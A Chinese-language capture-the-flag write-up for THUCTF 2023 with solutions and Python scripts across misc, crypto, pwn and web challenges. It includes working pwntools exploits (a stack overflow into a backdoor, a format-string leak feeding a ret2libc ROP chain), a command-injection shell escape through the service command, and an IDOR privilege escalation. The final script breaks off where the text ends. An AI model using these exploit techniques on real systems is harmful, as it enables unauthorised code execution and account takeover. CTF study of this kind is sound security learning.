THUCTF 2023 Writeup
一、Misc
1. easymaze-1 (not solved)
2. easymaze-2 (not solved)
3. 呀哈哈
Challenge:
一张 png 图片,无任何提示。
Solution:
猜测为 png 隐写,常见隐写方式有 ’篡改图片宽高‘、’LSB隐写‘、’IDAT 隐写‘ 等,尝试后发现为高度篡改。
Steps:
用 ImHex 打开图片找到 IHDR 中的高度字节,改大一些
再次查看图片,即可看到 flag
4. 猫咪状态监视器
Challenge:
一个 Dockerfile,创建的容器中删掉了所有 APT package file,将 flag.txt 放到了根目录下;
一个 server.py 文件,允许进行 LIST、STATUS 操作(调用系统 service 命令)查看服务列表和服务状态。
Solution:
代码中用户输入部分存在命令注入。
Steps:
观察代码,发现输入的 service_name 可以影响实际执行的代码
尝试各种输入,以及结合 run 函数的实际实现,发现
程序只会返回标准输出,不会返回错误信息
即使输入用
&&
分隔的多个命令,也只会返回第一个命令的结果所以必须利用
/usr/sbin/service
开头的命令达到效果,用&&
可以将后面的 status 与第一个命令分隔开来搜索发现
/usr/sbin/service ../../bin/sh
可以用来启动交互式 shell 来突破受限制的环境,说明/usr/sbin/service
同样可以调用执行/bin/cat
Reference:
https://resources.infosecinstitute.com/topics/capture-the-flag/so-simple-1-ctf-walkthrough/https://gtfobins.github.io/gtfobins/service/
5. 麦恩·库拉夫特 -1
Challenge:
一个 Minecraft 的存档文件。
Solution:
载入存档玩游戏
Steps:
开局一个洞穴,跟着火把深入洞里,走错了就退出来,边退边拆火把,直到跟着火把遍历找到正确的答案。
6. 麦恩·库拉夫特 -2
Challenge:
一个 Minecraft 的存档文件 。
Solution:
猜测第二个 flag 也在牌子上,解析存档找木牌
Steps:
查询得到 Minecraft 的存档格式为 Anvil,其中包含了 region 文件,每个 region 里有 chunks、blocks 和各种各样的数据结构;
通过 python 的 Anvil 包可以读取操作其存档数据,并从存档数据里筛出木牌上的文字。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20import anvil
import os
# traverse the directory and get all the region files
for root, dirs, files in os.walk('./wherestheflag/region'):
for file in files:
if file.endswith('.mca'):
region = anvil.Region.from_file(os.path.join(root, file))
# there are 32x32 chunks in a region
for x in range(32):
for z in range(32):
try:
chunk = anvil.Chunk.from_region(region, x, z)
if len(chunk.tile_entities) > 0:
# print(chunk.tile_entities)
for tile in chunk.tile_entities:
print(tile['Text1'], tile['Text2'], tile['Text3'], tile['Text4'])
except:
pass看到其中有第两个 flag,一个是第一题的 flag,一个是该题(第二题)的
7. 麦恩·库拉夫特 -3 (not solved)
Challenge:
一个 Minecraft 的存档文件。
Solution:
猜测第三个 flag 在剩下的木牌处,打印存档中这些木牌的坐标 TP 过去,发现一个巨大的电路……
Steps:
……
8. KFC
Challenge:
一张 KFC 的图片;
店名的 SHA256 为 e65c7a35bbc9f9515187066d170b74d4d50ea230266b5077315235115b9e679e;
flag 为店名的 md5。
Solution:
在 Google Images 上搜索该图片,得到店名 KFC Paris Strasbourg Saint Denis,验证 SHA256 正确。
Steps:
9. 未来磁盘·小 (not solved)
10. 未来磁盘·大 (not solved)
11. Dark Room
Challenge:
一个文本游戏,参考 tinichu316/Dark_Room。
Solution:
通过呼救功能刷 sanity,通关游戏。
Steps:
一路找到钥匙,打开金色大门后,告诉我虽然通关了,但是要 117% 以上的 sanity 才能给 flag;
靠我的纯人工操作,最多只能以 87% 的 sanity 通关游戏;
观察代码,发现提升 sanity 的方式可以通过使用道具提升,由于道具数目有限,本想通过存档刷道具,但是发现 save 存档功能没有用;
剩下提升 sanity 的方式只有呼救,但是执行一次 h 呼救功能仅有 20% 的概率会提升 10 点 sanity,有 80 % 会掉 sanity,连续四次呼救成功(概率1/625)再开局,则能保证通过时 sanity 够高;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25from pwn import *
import re
# remember to save the game (name: xxyyue) before running this script
if __name__ == '__main__':
# context.log_level = 'debug'
p = remote('chal.thuctf.redbud.info', 52407)
p.sendafter(b'[...]: ', 'load')
# get hign sanity for getting flag1
for i in range(0x2000):
p.sendafter(b'[xxyyue]: ', 'h')
# check sanity
p.recvuntil(b'Sanity: ')
sanity = int(re.compile(r'(\d+)').search(str(p.recvline().strip())).group(1))
print(sanity)
if sanity < 100:
p.close()
p = remote('chal.thuctf.redbud.info', 52407)
p.sendafter(b'[...]: ', 'load')
if sanity > 130:
break
p.interactive()
12. Darker Room
Challenge:
一个文本游戏,参考 tinichu316/Dark_Room。
Solution:
进入 flag 房间,猜数字。
Steps:
打开金色大门往南走会进入一个 flag 房间,让你开始猜数字,随机输入几个数字,发现返回 Wrong 的时延都不一样,输入非数字则输出如下报错:
推断分析得到,程序对 flag_number 从低位开始进行逐位判断,若某比特位为 1 则该次输出时延就会较长;
尝试打印每次返回 Wrong 的时延,是非常规律的 0s 和 1s 输出,根据此获得到 flag_number 每个比特位,通过 long_to_bytes 可以转换得到 flag;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69from pwn import *
import re
# remember to save the game (name: xxyyue) before running this script
if __name__ == '__main__':
# context.log_level = 'debug'
p = remote('chal.thuctf.redbud.info', 52407)
p.sendafter(b'[...]: ', 'load')
# open the gold door
p.sendafter(b'[xxyyue]: ', 'n')
p.sendafter(b'[xxyyue]: ', 'n')
p.sendafter(b'[xxyyue]: ', 'e')
p.sendafter(b'[xxyyue]: ', 'pickup key')
p.sendafter(b'[xxyyue]: ', 'w')
p.sendafter(b'[xxyyue]: ', 's')
p.sendafter(b'[xxyyue]: ', 's')
p.sendafter(b'[xxyyue]: ', 'e')
p.sendafter(b'[xxyyue]: ', 'e')
p.sendafter(b'[xxyyue]: ', 'e')
p.sendafter(b'[xxyyue]: ', 'pickup tranket')
p.sendafter(b'[xxyyue]: ', 'w')
p.sendafter(b'[xxyyue]: ', 's')
p.sendafter(b'[xxyyue]: ', 'usewith key door')
p.sendafter(b'[xxyyue]: ', 's')
p.sendafter(b'[xxyyue]: ', 's')
p.sendafter(b'[xxyyue]: ', 'n')
p.sendafter(b'[xxyyue]: ', 'w')
p.sendafter(b'[xxyyue]: ', 'w')
p.sendafter(b'[xxyyue]: ', 'w')
p.sendafter(b'[xxyyue]: ', 'n')
p.sendafter(b'[xxyyue]: ', 'pickup key')
p.sendafter(b'[xxyyue]: ', 's')
p.sendafter(b'[xxyyue]: ', 'e')
p.sendafter(b'[xxyyue]: ', 'e')
p.sendafter(b'[xxyyue]: ', 'e')
p.sendafter(b'[xxyyue]: ', 'n')
p.sendafter(b'[xxyyue]: ', 'n')
p.sendafter(b'[xxyyue]: ', 'w')
p.sendafter(b'[xxyyue]: ', 'w')
p.sendafter(b'[xxyyue]: ', 'n')
p.sendafter(b'[xxyyue]: ', 'n')
p.sendafter(b'[xxyyue]: ', 'w')
p.sendafter(b'[xxyyue]: ', 'w')
p.sendafter(b'[xxyyue]: ', 'usewith key door')
p.sendafter(b'[xxyyue]: ', 's')
p.sendafter(b'[xxyyue]: ', 'getflag')
# guess the public key for getting flag2
flag_number = ''
for i in range(0x10000):
start = time.time()
p.sendafter(b'Guess my public key (give me a number): ', str(i).encode())
ans = p.recvline().strip()
end = time.time()
response_time = end - start
flag_number = '1' + flag_number if response_time > 0.5 else '0' + flag_number
print(f"Server response time: {response_time} seconds, for round: {i}. flag_number: { flag_number }")
if ans != b'Wrong':
print(ans)
break
p.interactive()
# flag_number: 10101000100100001010101010000110101010001000110011110110110011000110001010000010100011100110010010111110111100100110000011101010101111101110011001100000100100101010110011001010110010001011111001101110100100001001001010100110101111101000011010010000011010001101100010011000011001101001110010001110110010101011111011001010101100001000011011001010100100101101100001100110110111001010100010011000111100101111101
# from Crypto.Util.number import long_to_bytes
# long_to_bytes(0b10101000100100001010101010000110101010001000110011110110110011000110001010000010100011100110010010111110111100100110000011101010101111101110011001100000100100101010110011001010110010001011111001101110100100001001001010100110101111101000011010010000011010001101100010011000011001101001110010001110110010101011111011001010101100001000011011001010100100101101100001100110110111001010100010011000111100101111101)
# b'THUCTF{f1AG2_y0u_s0IVed_7HIS_CH4lL3NGe_eXCeIl3nTLy}'
13. Huavvei Mate Hard (not solved)
14. Huavvei Mate Nano (not solved)
15. 简单的基本功
Challenge:
一个 zip 压缩包,里面包含 chromedriver_linux64.zip 和 flag.txt,两个文件都需要输入解压密码才能打开。
Solution:
因为压缩包中 chromedriver_linux64.zip 是可以从网上下载到的已知文件,则可以使用选择明文攻击查看整个压缩包的内容。
Steps:
在 ChromeDriver 的官网上,根据 ZIP 包中 chromedriver_linux64.zip 的大小下载对应版本文件,并将其压缩成 chromedriver_linux64.zip.zip;
将原压缩包 bkcrack_level1.zip 和已知明文的压缩包 chromedriver_linux64.zip.zip 作为输入放进 ARCHPR 进行解密;
得到解密成功的 flag.txt 文件
Reference:
https://blackdn.github.io/2020/05/07/zip-decryption-2020/
16. 深奥的基本功
Challenge:
一个 zip 压缩包,里面包含 flag.pcapng 文件,需要输入解压密码才能打开。
Solution:
根据提示——ZIP 明文攻击甚至不需要知道完整的文件内容,只需要知道其中的任意 12 个字节(其中 8 个字节必须连续)即可。
Steps:
准备好 pcapheader 作为已知明文,破解得到密钥,再用密钥破解得到 flag.pcapng 文件;
观察 flag.pcapng 文件,发现 flag。
Reference:
https://www.freebuf.com/articles/network/255145.html
二、Crypto
1. easycrypto-1
Challenge:
一个加密过后的文件 cipher.txt;
一个加密脚本 encytoMessage.py,导入未知的字母映射表 table,导入未知的原文信息 message,用 table 对 message 做字母映射,得到 cipher.txt。
Solution:
用网络上的单字母替换密码破解工具,可以解出 table 和 message。
Steps:
输入密文,破解后从原文中发现 flag,同时获得字母映射关系
Reference:
https://www.guballa.de/substitution-solver
2. easycrypto-2
Challenge:
一个加密过后的文件 encoded.txt;
一个用于加密的二进制可执行文件 main,以字母映射表 table 和 flag2 作为输入,得到输出 encoded.txt。
Solution:
反编译 main 文件,发现是 base64编码,解码 base64 获得 flag。
Steps:
根据第一题得到字母映射表 table = ’RNPYCLDGBEKQSJZUVMWAITOHXFrnpycldgbekqsjzuvmwaitohxf0123456789+/‘
反编译 main 文件,比常规 base64 编码多加一个 0;
base64 解码密文,得到 THUCTF{I_10u3_6as0b4},但是系统判为错误,尝试把不确定的映射字母 f v h 调换顺序后仍不能获得答案,猜测为 THUCTF{I_10u3_6as3b4} 判定通过,怀疑给的密文有误。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30def myBase64Decode(encodedBin):
charTable = "RNPYCLDGBEKQSJZUVMWAITOHXFrnpycldgbekqsjzuvmwaitohxf0123456789+/" #字符表
#如果字符不是4的倍数 返回空
if not len(encodedBin) % 4 == 0 :
print(len(encodedBin))
return ''
tCode = '' #用于存放最终的二进制文本字符串
pCpde = '' #暂存变量
#遍历encodedBin每一个字符
for i in encodedBin:
for j in range(len(charTable)): #找到表中对应坐标
if chr(i) == charTable[j]:
pCode = bin(j)[2 :] #转二进制去除开头的0b
lackZeroNums = 6 - len(pCode) #省略的0的个数
for x in range(lackZeroNums):
pCode = '0' + pCode
tCode = tCode + pCode
pCode = ''
result = '' #储存最终结果
for i in range(len(tCode) // 8):
pCode = tCode[i * 8 : i * 8 + 8]
result = result + chr(int(pCode, 2))
return bytes(result, encoding = "utf-8")
# print(myBase64Decode(b"TCgTV1MDc0qlSAN1S182XHSoXeM9RR=="))
# b'THUCTF{I_10u3_6as0b4}\x00' # 这个错的
print(myBase64Decode(b"TCgTV1MDc0qlSAN1S182XHSfXeM9RR=="))
# b'THUCTF{I_10u3_6as3b4}\x00'
3. 小章鱼的 Smol Cookie
Challenge:
一个 cookie.py 文件,在 flag 前面拼接 2500 个 ’\0‘ 后与一个随机学列异或进行加密。
Solution:
python 生成的随机数可以利用连续的 624 个随机 int 整数,预测其之后的随机数。
Steps:
观察代码,发现由于 words 的前 2500 Bytes 都为 0,所以 ancient_words 的前 2500 Bytes 都应该是用 randbytes 生成的随机字符;
根据 randbytes 的实现,发现其相当于生成了 n * 8 个随机比特然后按小端序转换为 Bytes,将生成的随机字符串按字节拆分,每四个重新倒序拼在一起就相当于一次生成的整数;
利用 python 的 randcrack 包进行破解,得到 flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24from randcrack import RandCrack
# ancient_words comes from the remote server
ancient_words = '2d26ef4677fd770a875545ac94916465a3321c5534c02da2b394075fee70e48bdd7db2ceac63b16e1c45943da0b5d88e3861d4e9aea3959debbc6a3866f66659160f463d63f3f73c9c802bff9686d34a1d216af3d2b1cf2e6d273c4739609616fee43fb3f2bbc876b2513dfc8751d4f75d45ae1cf04fb2c99ffc4f57e8042aa54175b992c0a14641f5ce88099871a2e37a9ad53634c06d2a8643f4317514d186d29f8654413b2afa6c7db3d2deedcf2523e656396fbd1096e8d8919a639709cb7300a1d8b91f5aa332824dd411981f7e44ca304bec1d09442a1547b1879d268b53ba4e914c6633a8b49f8adc55ce2a6a98a488f323eb24d5a195dcf12f579749a59bdc635af713f47023a2a8e4a43bbb8f81b304fb38eb9f4fba8d88394410cf1bc3e0dc81fa7c86a10f2da31659c7a78777bac749f134c754778b8379d79a7de15cbe8de4fd6c20c057c64bd0d1f7ffc2a5eb7686cc8c22fd49716b561e943b3eca58eb9766713ef7537f98febd02d423e6274ab09ef34d748ec83410a3c0ae87601f16affa37ffa23a487fbc56f3fd6d0bda60200d0572d379f5f1147cb7ef3edc2f2b8d255f85b27f2f8dcef56058f045ebc54ef71a1f9cdee9656a654ab9bc542aa4bff8545fb74573c872f2e742a69fe9e5bf888b560e9ca5e7ad4514bde12fed479442a0e1ceb8ac481aa84bff5b8f1b8129cd004ecbe070b55f3139ebedfc6225bb0c79452ca330380b4751cbaac8864c19e73b94b085f53d2cefd9e98c511ed358fdde5b85869a6c3113ff8dc408725e98162aa4b32fa106040f974f2e9ae8d4e631d2a2088587676353a005ab5dff56eabb9e88ae9e029563eb2488ba2b41fdcc2cd6d2b3dc310f7c3436c61756027e727a4b2ab8242501d253052af5633dacc33f844e407db3664687e69c894856346c7bcc61914b5ef3da57bdd7c4c61de1a0311ec49453944b13df7fa69949c0f6fbd7883355d00fa0db59988dca0ca413f0ac1c43dd020304b783053a0b533285b27dd9c8a7fb298325e1fcec92adb1fc077ca75729e41b9a5217d4660b2ddb50ccbc8232d614ff7e7fc7dcfe975677c60a2ccc0b4ef694af7e551c8aaed70fdb8d2f6e90fe377d6a010d2437b530bb321e893d078fa90fb2a806643932454032736dfcaa715436aadb49127a5b2282fe938bf1aea399978b5360735c6933c31e377f78b6a185e24db7ec55cfdc4dca5626ed1f3f5f72b37e621f5c504a191f9fa1c1e57605facb1c26103324234df9391738bf3fb03698bf05baf1fa07cf4c157f8650f3b27aac2b8d5fd7febfc6d720671316f31057b35721e1b8310fc6eecf020282fd25e589ef078f3013872f0f9430f1d8899e27233fd75681af75394fb89f87082acdd194d3a7942dd5270400689dd00ef6cde7e901770c680b2c6e640c6e1b07d56804f275933ae82b13ec0c748d79b63599ecccf5737dd361d725bf3962de58383119727d23ca23f069589a8adb84f1accc167e719fda8027d8e1c41fb744559bd59c8ba30cc35cca02a1c12ddc76db2474c2df338e03491e3403fca550b1b15577d13ca5dd6b0549191487e3f966f28f9ad68f68ba8c9a427a0a4945755d6724dd2797e549f410d2ec0074d2ca548d57d98ace4c497deee154e11a31e441f04afe404bcde9e76d5f5377194da173b49c60bc5a0908e0941793f9ce30ceb6a7a61f09c8c77fa8a333976599d4cb19523e13e54cca02d1f30d6205e72702d2e525995ff20c97dd2dce7c6f4b0c08b6c61bf0f8ca6337895acee1a619b5cf1b09ff14ff68a2379df6c3055f3a694ee214afd2c2f5e050fc4675c95bcddfd896c482a0534ca4af8561a3c617468a2234f66359e3c3f9e299243934adc05adb75f7e3677ec17b8c8fa8829720afb09ad9cfd3e2abefbbc0005f06612863a7efe35a4aeb9a90f3a19ef1cbd13e84013795cfd9f1b2d64126a07121fe14e40b4279bc66e20519bb451b1dcfe2a796cd543a27c505aedd790b96ee2db7a02da4125d807a1cba53277ae63319fad2e871853127acce29a55a4f4dbcf5ca00d57fd9793a1d00facfe88e1297cc81146eed8a523233dc209d429134ae71c6964ff727ef45f5c390ca1f9f5807c309673f79d3ededed2915a03fac4f53b100dcde3efd9ba0034d98c917049b0b8e0cb55da16a3e75ebe56b69fd3aa7af31038fdc09719c8098f7a38eac8d25661f757aa3c6f4d6f35e9e1d6c349f4cd8b167286107f71dd87b30a312eaf9691df182e0e0ecfa37deff21725c9d3458175000f2ebeadd30502caf18d9567348be1ee816da3c7dadf15acbc94b7c928d471cabcc2795d148cc09de4c0bb8803f13cd584b50ba79579fe7fcab890fe66f1a78e4b02834dbe8368c478ed83aefe22a938bbeaf40b9865d7034cd52c36619ba5d67be7e1e8db994a3de4cb68e96476bbf0a44b1c3714c48bbd918db871119770545d9d2d5fda7a03a6bbda68626e206105080dc8dd945337f848bb2ec6a78c857fb70ba9426d6b2a2d882fe3c97fa9e87789f299b41696852f37bd35e0a3140775827fa675105fbcc9f2c7b3ad43322583707d8c66b9c76902bb29568d77b99efd16c0c5f3ce610a7c84da82d38a39bde97179d1975f94e0d8ec8178246e26676853bbf6f87510726b27fb5cfcb4873fc9349051fc3d46354f5a19580516e411ebe2f06340c44407d45b90446be25886065bd0429286fb962522f1d7bacfae8304dfe46f0bdc36dd5aa73e290912a12fb64c75737afef14adea1fbcdf1df30788eb34db72ffe1da75f2f0bed17159a4f5896049b87617fca2e1a10e77d6a0522cdcda37c16d676e53a2b9795804c952adb4ecedaa28f9967bf09abbcafcf9d4b91bb52df5aa65b04fa2e95d0f38e867bb06cc12e5d11dedfedc02122c7758cbef413b366168175102cb94196e903ee8a63eb0c47ef33a46b3d7bd03bcba43e2f63eb97c5438580a98ca761133e66ba6d736cc64406a5e6e1b16a292ab31753126f06a6a720a65c81856a28700d29acecdd8fd9a836afdf41ff574c58180a5fc06ee648aa33b4c54d4711845234c86fdb89646f433aead4fa70a279eb3ce75f2487c2dd4eebe9f389bfeab1a1c60bf661184c4f52b9f09d4973649ac8e792b12b93f4809423f71f74ea34efa9f190880c528aa4a35ba07af9f6e23245d140e9ba2675b398e5207057bb191d3074acf5fd2402224b591f9c8a84a0ab335246fa4297475760a8efe70068593a7ea2442f5ae8162489cff5b88d9a3cdf7f2129613b60fc5c0ab0b206084f10a2483bf03a394993ad93c5a834bccec0a4235d63d2f1eda17e29e7b5e6a2e48b12d6d03ba463c6ac2cc7327cb4530b38163f6b6e7dfe88d3eb17d68cd95def2b8088bef128ec3684594b867af1df60b1f3a8acd03457ff00e1b91ecb047cbb56c64d8612b35003b3d3d10bb5b3bbec1e242bb9c794bd7fe4e5daef964fc28e79b23e1101eab5c45214d14d8457ef504510a0230ded2163b7882e8ff8fcf96c0d9c7b00cd5e30b504db671d299955d6754d77f4352ff3b2a1a6432b2dd56acff619664fdeb5d311878a84b10297b2067aa4a4779a79d64'
rc = RandCrack()
words = ancient_words
for i in range(624):
# print(words)
rc.submit(int(words[6:8] + words[4:6] + words[2:4] + words[:2], 16))
words = words[8:]
# print(words)
random_words = rc.predict_getrandbits(len(words) * 8).to_bytes(len(words), 'little').hex()
# print(random_words)
def xor_arrays(a, b, *args):
if args:
return xor_arrays(a, xor_arrays(b, *args))
return bytes([x ^ y for x, y in zip(a, b)])
print(xor_arrays(bytes.fromhex(random_words), bytes.fromhex(words)))
# b'\x00\x00\x00\x00THUCTF{5047219d-13e7-4600-ae95-529f13bb6c11}'
4. 小章鱼的 Big Cookie
Challenge:
一个 cookie.py 文件,在 flag 前面拼接 2500 个 ’\0‘ 后与三个随机序列异或进行加密,其中第一个随机数种子 seed1 会打印出来,第二随机数种子 seed2 可以自己选择但不能与 seed1 等同。
Solution:
找到一个随机种子 seed2,可以和 seed1 生成相同的随机序列,这样他们的异或值为 0,就可以转换成第一题的方式求解。
Steps:
观察 python 调用的随机数生成算法处理种子的具体方式,在 _randommodule.c 文件中,发现绝对值相同的种子生成的随机序列是一样的,所以可以选择 seed2 = -seed1 作为输入;
剩余解法同第一题,exp.py 代码同上。
1
2python3 exp.py
# b'\x00\x00\x00\x00THUCTF{b08c1aec-9c8a-420f-8fbf-fdab4bf4caf7}'
Reference:
https://github.com/python/cpython/blob/main/Modules/_randommodule.c
5. 小章鱼的 SUPA BIG Cookie
Challenge:
一个 cookie.py 文件,在 flag 前面拼接 2500 个 ’\0‘ 后与 200 个随机序列异或进行加密,其中前 100 个随机数种子会打印出来,然后由你输入 100 个随机数种子。
Solution:
只要后 100 个随机数种子与前 100 个随机数种子相同,就会直接输出 flag。
Steps:
手动输入会导致输入不完整,用脚本输入其输出的 100 个随机种子即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16from pwn import *
if __name__ == '__main__':
# context.log_level = 'debug'
p = remote('chal.thuctf.redbud.info', 51694)
# flag3
p.sendafter(b'Choose one: ', b'3\n')
res = p.recvline() # '\n'
res = p.recvline() # Ⱦħē đⱥɏ ꝋӻ ɍēȼҟꝋꞥīꞥꞡ đɍⱥⱳēⱦħ ꞥīꞡħ ⱳīⱦħ ħⱥꞩⱦē. Ħⱥꞩⱦēꞥ, ꝋɍ ӻꝋɍӻēīⱦ ⱥłł.
res = p.recvline() # curses
# print(res)
p.sendline(res[1:-2])
p.interactive()
# THUCTF{14471796-07b3-4b92-ae67-e130b374e451}
6. Another V ME 50 (not solved)
Challenge:
一个 notebook.py 文件,以一个 shop 的形式运作,每个用户初始金额 25,需要找到使用户金额 ≥ 50 的方法来买 flag。
Solution:
当用户的 token 碰撞时,金额会发生累加,转换成 sha256 局部碰撞问题。
Steps:
……
三、Pwn
1. babystack
Challenge:
一个二进制可执行文件 babystack,执行后要求输入字符串及其长度;
两个动态库文件 ld-linux-x86-64.so.2、libc.so.6。
Solution:
通过整数溢出绕过输入字符串的长度限制,通过栈溢出用输入字符串覆盖返回地址到后门函数上,获得系统权限。
Steps:
用 checksec 检查 babystack 文件,发现其没有开 PIE 动态地址加载,也没有开 canary 保护;
用 IDA 反编译 babystack,发现后门函数 backdoor 可以执行 system(“/bin/sh”), 其地址为 0x4011B6;
观察其参数覆盖的地址空间,v4 为输入的字符串长度,int 占 4 Bytes,v5 为读入的字符串;
虽然程序想要通过限制 v4 大小在 0~100 范围内来限制读入的字符串数目,但在 get_line 函数的 for 循环内,存在整数下溢的问题,当整数 v4 为 0 时,减去 1 转换成无符号整数,就会变成 2^32 - 1,无法限制读入的字符串数目;
此时输入字符串覆盖返回地址为后门函数的地址即可
1
2
3
4
5
6
7
8
9
10
11from pwn import *
if __name__ == '__main__':
context.log_level = 'debug'
p = remote('chal.thuctf.redbud.info', 52158)
# p = process('./babystack')
ret_addr = 0x4011d3
backdoor_addr = 0x4011B6
payload = b'A' * 0x70 + b'B' * 8 + p64(ret_addr) + p64(backdoor_addr) + b'\n'
p.sendafter(b'input the size of your exploitation string:(less than 100 chars with the ending \\n or EOF included!)\n', b'0\n')
p.sendafter(b'please input your string:\n', payload)
p.interactive()
2. childstack
Challenge:
一个二进制可执行文件 childrenstack,执行后要求输入字符串及其长度,第一个字符串会作为print的第一个参数打印出来,第二个字符串没有长度限制;
两个动态库文件 ld-linux-x86-64.so.2、libc.so.6。
Solution:
通过 format string leak 可以打印出 scanf 的地址从而计算出 libc 的基址,从而跳转到 system 函数执行,通过 rdi 构造 system 执行参数 ‘bin/sh’,拿到系统权限。
Steps:
用 checksec 检查 childrenstack 文件,发现其没有开 PIE 动态地址加载,也没有开 canary 保护;
用 IDA 反编译 childrenstack,发现第一次输入的参数 v4 会被 printf 打印出来,当 v4 作为 printf 的第一个参数时,会存在格式化字符串泄露的问题;
执行程序,第一次输入 aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p,观察发现输出的第六个参数(%p)开始是存储在栈上的被输入的字符串;
此时,若将 scanf 函数的跳转地址放在输入字符串中,并调整打印参数,就可以打印出 scanf 加载执行地址;
payload = b'aaaaaaaa%8$saaaa' + p64(childrenstack.got['__isoc99_scanf'])
接收其打印出的 scanf 加载执行地址 scanf_libc,结合 libc.so.6 中 scanf 的位置可以计算出 libc 基址,从而得到 system 函数的执行地址;
libc_base = scanf_libc - libc.symbols['__isoc99_scanf']
system_addr = libc_base + libc.symbols['system']
在 libc 中再找出存有 ’/bin/sh’ 字符的位置,通过 ‘pop rdi; ret’ 的 gadget 可以控制其作为 system 的执行参数,拿到系统权限。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37from pwn import *
p = remote('chal.thuctf.redbud.info', 52199)
# p = process('./childrenstack')
childrenstack = ELF('./childrenstack')
# leak libc scanf address
payload = b'aaaaaaaa%8$saaaa' + p64(childrenstack.got['__isoc99_scanf'])
print(payload)
p.sendline(payload)
p.recvuntil('aaaaaaaa')
scanf_libc = u64(p.recv(6).ljust(8, b'\x00'))
print(hex(scanf_libc))
# calculate the libc base address
libc = ELF('./libc.so.6')
libc_base = scanf_libc - libc.symbols['__isoc99_scanf']
# calculate the system address
system_addr = libc_base + libc.symbols['system']
# calculate the pop rdi; ret address
rop = ROP(libc)
rdi_gadgets = rop.search(regs=['rdi'], order = 'regs')
pop_rdi_ret_addr = libc_base + rdi_gadgets.address
# calculate the /bin/sh address
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
ret_addr = 0x4011ee
# overwrite the return address
payload = b'a' * 0x70 + b'b' * 8 + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()
Reference:
https://blog.csdn.net/weixin_46521144/article/details/115129011
3. teenagerstack (not solved)
4. 初学 C 语言
Challenge:
一个 pwn.c 文件,接收输入字符串作为 printf 的第一个参数打印;
一个二进制可执行文件 pwn。
Solution:
通过 format string leak 可以打印出变量 flag1 的内容。
Steps:
观察源代码,其中输入的字符串 buf 作为 printf 的第一个参数,可以控制后续参数的输出;
printf(buf,publics,publici);
如果增加格式化参数的个数,就可以读取到其它参数,前6个格式化参数为寄存器中存储的数据,之后的参数将会读出栈空间的数据,每个参数读 8 字节,将 pwn 拖进 IDA 观察 flag 的存储位置,为 rsp+A0h,所以应该是从第 26 个参数往后读取出的数据;
编写脚本获取栈空间 rsp+A0h 往后 8 * 8 Bytes 的空间,转换成字符形式得到 flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18from pwn import *
from Crypto.Util.number import *
if __name__ == '__main__':
# context.log_level = 'debug'
results = []
for i in range(26, 35):
p = remote('chal.thuctf.redbud.info', 52462)
p.sendafter('Please input your instruction:\n', f'%{i}$lu\n')
res = p.recv()
print(res)
results.append(res.split(b'\n')[0])
p.close()
print(b''.join([bytes(reversed(long_to_bytes(int(res)))) for res in results]))
# b'THUCTF{11a6I:R3Ad_pr1NTF_cOde_S0_eaSy}\n\x00\x00\x00%34$lu\n'
5. 熟悉 C 语言 (not solved)
6. 禁止执行,启动 (not solved)
7. 启动执行,禁止 (not solved)
8. 禁止启动,执行 (not solved)
四、Web
1. 简单的打字稿-1
Challenge:
一个类型定义 type flag1 = 'flag{...}'
;
一个 Typescript 运行环境,如果输出中包含 ‘flag’ 字符串就会只打印 ‘绷’。
Solution:
通过报错打印 flag1 类型的赋值。
Steps:
在 typescript online 的环境中,测试给 flag1 赋值会怎么样,理论上报错会打印给 flag1 关联的字符串值;
在题目运行环境中给 flag1 赋值,结果只有一个‘绷’字;
尝试给类型名再关联一次进行测试,报错得到 flag。
2. 简单的打字稿-2 ****(not solved)
3. Chrone-1 ****(not solved)
4. Chrone-2 ****(not solved)
5. V ME 50
Challenge:
一个登陆界面,进行渗透测试。
Solution:
抓包改参数提升用户权限,利用多用户购买订单会出现在一个账户里的这个漏洞,攒钱买 flag。
Steps:
登陆界面,尝试 sql 注入没有成功,尝试爆破 admin 密码没有成功;
注册新用户登陆,主界面仅有个人信息,查看页面代码,发现有一个被注释掉的用户管理链接;
尝试直接访问 /role_change.php 界面,提交用户权限修改,得到权限限制提示;
用 Burpsuite 抓包发现,提交权限修改的 POST 请求携带了 id 参数;
猜测 id 代表提交修改请求的用户,当前创建的用户 id 为 2,猜测 admin 账户 id 为 1,将抓到的包修改该参数重新发送,用户权限修改成功;
查看商品中心界面和订单管理界面,用户金额只有 100,仅能购买价格 50 的 vme50,买不起价值 1000 的 flag;
各种尝试之后发现,多个用户购买的商品会同时出现在订单管理界面里,并且均可执行退款操作;
退款后,金币数额达到累加的效果;
创建 10 个账户,用同样的方法进行提权操作,并购买 vme50 进行统一退款,在一个账户内达到 1000 金额,即可购买 flag 进行查看。
6. Emodle - Level1
Challenge:
一个由 emoji 组成的 Wordle 游戏。
Solution:
通过暴力遍历进行猜测,获取 flag。
Steps:
由于提示第一题的答案是固定的,所以选择暴力破解;
虽然 Emodle 的长度只有 64,但是emoji 的数量也太多了,并且需要从文档中进行提取非常麻烦,所以尝试从输入框的 placeholder 中提取答案可能用到的 emoji,发现仅有 128 个被使用;
在 Emodle 的 64 位上依次尝试上述 128 个字符,直到解出正确的 Emodle;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63import requests
from bs4 import BeautifulSoup
import re
# URL to send a GET request to
url = 'http://chal.thuctf.redbud.info:52468'
# try to collect the emoji the website is using
